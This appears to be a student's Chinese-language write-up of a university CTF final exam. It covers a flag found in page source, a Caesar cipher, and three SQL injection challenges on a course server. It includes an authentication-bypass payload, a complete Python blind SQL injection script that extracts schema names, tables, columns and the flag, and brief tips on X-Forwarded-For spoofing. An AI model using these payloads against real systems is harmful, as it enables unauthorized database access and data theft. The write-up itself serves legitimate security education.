# 2019/12/24
## 期末 write up
- 這題真的很簡單
> 
> 方法 : 按f12或右鍵點檢查,點選network再刷新一次頁面後選取。
> http://140.134.25.138:10121/ 的Response。
> 
> Flag : **`CTF{送分夠有誠意吧?這題沒打出來的當掉合理吧?}`**
- 沙拉好吃
> 
> 方法 : 用凱薩解密法解出明文(可以知道`key為21`)。
> 
> Flag : **`CTF{Caesar_is_funnny_cipher}`**
- SQL injection I
> 
> 
> 方法 : 帳號輸入`admin' or 1 = 1;#`(密碼可隨便打)。
> 
> Flag : **`CTF{sqlbvISzWstkaa?}`**
- SQL injection II
> 
> 
> 方法 : 用python寫腳本的方式爬目標網站的flag
```python=
import requests
import string
r = requests.Session()
def get_target(target):
now_chr = 1
add_chr = ""
while True :
flag = 0
printable = string.printable
for chr1 in printable :
payload = {
'username': "admin' or substring(("+target+"),"+str(now_chr)+",1)='"+chr1+"';",
'password': 'd'
}
index = r.post('http://140.134.25.138:10113/login.php',data=payload)
if (index.text.find("Success"))>0:
add_chr += chr1
flag = 1
break
if chr1 == " " or flag == 0:
break
now_chr += 1
return add_chr
def get_all(target):
count = 0
while True:
a = get_target(target+" LIMIT "+str(count)+",1")
print(a)
if a =="":
break
count += 1
print(get_target('database()'))
print("----get all database---")
get_all("select schema_name FROM information_schema.schemata")
print("---get ctf table name---")
get_all("select table_name FROM information_schema.columns WHERE table_schema = 'ctf'")
print("----get ctf table column_name---")
get_all("select column_name FROM information_schema.columns WHERE table_name = 'ctfffff'")
print("---get flag---")
get_all('SELECT flagggggggggg FROM ctfffff')
```
- SQL injection III
> 方法 : 我是用跟上一題相同的方式去解,依序找到目標欄位後將裡面資料print出來就能得到flag。
- 心得:
> 如何用request 建立session來存放cookies 並用BeautifulSoup和soup.find找到需要的網頁程式碼標籤和內容,並將資料丟回server,重複這個動作到找到flag為止。
這也可以運用在爬蟲的實作上面,可以擷取到網頁中想要的資料。或假如遇到Fake ip相同的狀況就可以用X-Forwarded-For將網頁要求的ip位置放在header來進入網頁。
此外也學到如何運用F12來查詢網站存放的資訊(token或是cookies),也可以結合git的漏洞來得到資料。
> SQL injection的部分雖然上學期的資訊網路安全的課程中就有接觸一點但當時對這個攻擊手法還不是很了解,經過再一次的講解和練習後了解到這其實是一種很常見的手法,運用到程式碼裡面的文法漏洞來做攻擊,雖然有些人會粗略的過濾掉一些字元但還是會有很多其他能夠替代的方式。
{"metaMigratedAt":"2023-06-15T02:53:12.074Z","metaMigratedFrom":"Content","title":"2019/12/24","breaks":true,"contributors":"[{\"id\":\"e5c1ded9-91fc-4d07-8152-26c6f08a77d2\",\"add\":2414,\"del\":58}]"}